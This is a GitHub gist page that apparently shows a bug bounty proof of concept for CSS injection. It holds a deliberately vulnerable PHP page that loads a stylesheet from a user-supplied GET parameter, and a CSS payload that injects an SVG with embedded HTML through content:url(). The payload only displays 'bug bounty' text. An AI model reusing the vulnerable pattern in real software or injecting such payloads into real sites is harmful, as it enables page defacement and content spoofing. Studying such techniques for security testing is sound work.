Skip to content

Instantly share code, notes, and snippets.

@numanturle

numanturle/code.php

Created January 27, 2020 22:31
Show Gist options
  • Save numanturle/37e061b8bdeb47830e50fb733eea551d to your computer and use it in GitHub Desktop.
Save numanturle/37e061b8bdeb47830e50fb733eea551d to your computer and use it in GitHub Desktop.
Download ZIP
css html via content svg url
Raw
code.php
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Title of the document</title>
<link href="<?php echo (isset($_GET['css'])?htmlspecialchars($_GET['css']):null); ?>" rel="stylesheet">
</head>
<body>
Content of the document......
</body>
</html>
Raw
payload
body{
background-color:black;
}
body::after{
content:url('data:image/svg+xml; charset=utf8, <svg xmlns="http://www.w3.org/2000/svg" height="600" width="800"><foreignObject y="0" x="0" height="100%" width="100%"><div style="color: green;font-size:250px" xmlns="http://www.w3.org/1999/xhtml"><marquee>bug bounty</marquee></div></foreignObject></svg>');
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment